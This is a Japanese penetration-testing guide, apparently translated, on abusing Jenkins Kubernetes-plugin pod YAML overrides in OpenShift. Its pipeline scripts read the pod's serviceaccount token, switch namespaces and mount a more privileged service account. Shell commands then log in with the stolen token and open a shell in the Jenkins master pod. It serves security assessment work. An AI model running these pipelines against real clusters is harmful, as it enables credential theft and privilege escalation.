Jenkins in Openshift - build pod overrides

Reading time: 7 minutes

このページの元の著者は Fares

Kubernetes plugin for Jenkins

このプラグインは、openshift/kubernetes クラスター内の Jenkins コア機能の主な責任を担っています。公式ドキュメントは こちらです。 開発者が jenkins ビルドポッドのいくつかのデフォルト設定をオーバーライドする能力など、いくつかの機能を提供します。

Core functionnality

このプラグインは、適切な環境でコードをビルドする際に、開発者に柔軟性を提供します。

groovy
podTemplate(yaml: '''
apiVersion: v1
kind: Pod
spec:
containers:
- name: maven
image: maven:3.8.1-jdk-8
command:
- sleep
args:
- 99d
''') {
node(POD_LABEL) {
stage('Get a Maven project') {
git 'https://github.com/jenkinsci/kubernetes-plugin.git'
container('maven') {
stage('Build a Maven project') {
sh 'mvn -B -ntp clean install'
}
}
}
}
}

一部のポッド YAML オーバーライドを利用した悪用

ただし、Kali Linux のようなアクセス可能なイメージを使用し、そのイメージからプリインストールされたツールを使用して任意のコマンドを実行するために悪用される可能性があります。
以下の例では、実行中のポッドの serviceaccount トークンを抽出できます。

groovy
podTemplate(yaml: '''
apiVersion: v1
kind: Pod
spec:
containers:
- name: kali
image: myregistry/mykali_image:1.0
command:
- sleep
args:
- 1d
''') {
node(POD_LABEL) {
stage('Evil build') {
container('kali') {
stage('Extract openshift token') {
sh 'cat /run/secrets/kubernetes.io/serviceaccount/token'
}
}
}
}
}

異なる構文で同じ目標を達成する。

groovy
pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
spec:
containers:
- name: kali-container
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}

ポッドの名前空間をオーバーライドするサンプル

groovy
pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
metadata:
namespace: RANDOM-NAMESPACE
spec:
containers:
- name: kali-container
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}

別の例として、名前に基づいてサービスアカウントをマウントしようとするものがあります(これは、ビルドを実行しているデフォルトのものよりも多くの権限を持っている可能性があります)。最初に既存のサービスアカウントを推測または列挙する必要があるかもしれません。

groovy
pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
spec:
serviceAccount: MY_SERVICE_ACCOUNT
containers:
- name: kali-container
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}

同じ技術は、Secretをマウントしようとすることにも適用されます。ここでの最終目標は、ポッドビルドを効果的にピボットまたは権限を取得する方法を見つけることです。

さらに進む

これに慣れてきたら、JenkinsとKubernetes/Openshiftに関する知識を使って、誤設定や悪用を見つけてください。

次の質問を自問してください:

  • ビルドポッドをデプロイするために使用されているサービスアカウントはどれですか?
  • それにはどのような役割と権限がありますか?現在いる名前空間のシークレットを読み取ることができますか?
  • 他のビルドポッドをさらに列挙できますか?
  • 侵害されたsaから、マスターノード/ポッドでコマンドを実行できますか?
  • クラスターをさらに列挙して他の場所にピボットできますか?
  • どのSCCが適用されていますか?

どのoc/kubectlコマンドを発行するかはこちらこちらで確認できます。

可能な権限昇格/ピボットシナリオ

評価中に、すべてのjenkinsビルドが_worker-ns_という名前空間内で実行されていることがわかったと仮定しましょう。ビルドポッドには_default-sa_というデフォルトのサービスアカウントがマウントされていることがわかりましたが、いくつかのリソースに対する読み取りアクセスを除いて、それほど多くの権限はありませんでしたが、_master-sa_という既存のサービスアカウントを特定することができました。 また、実行中のビルドコンテナ内にocコマンドがインストールされていると仮定しましょう。

以下のビルドスクリプトを使用すると、_master-sa_サービスアカウントを制御し、さらに列挙することができます。

groovy
pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
spec:
serviceAccount: master-sa
containers:
- name: evil
image: random_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
sh 'token=$(cat /run/secrets/kubernetes.io/serviceaccount/token)'
sh 'oc --token=$token whoami'
}
}
}
}
}
}

アクセスに応じて、ビルドスクリプトから攻撃を続ける必要があるか、実行中のクラスターでこのsaとして直接ログインできます。

bash
oc login --token=$token --server=https://apiserver.com:port

この sa に十分な権限(pod/exec など)がある場合、同じ名前空間内で実行されている場合、マスターノードポッド内でコマンドを実行することによって、全体の jenkins インスタンスを制御することもできます。このポッドは、その名前と jenkins データを保存するために使用される PVC(永続ボリュームクレーム)をマウントしている必要があるため、簡単に特定できます。

bash
oc rsh pod_name -c container_name

マスターノードポッドがワーカーと同じ名前空間で実行されていない場合、マスターネームスペースをターゲットにして同様の攻撃を試みることができます。これを jenkins-master と呼ぶと仮定します。serviceAccount master-sa が jenkins-master 名前空間に存在する必要があることを忘れないでください(worker-ns 名前空間には存在しない可能性があります)。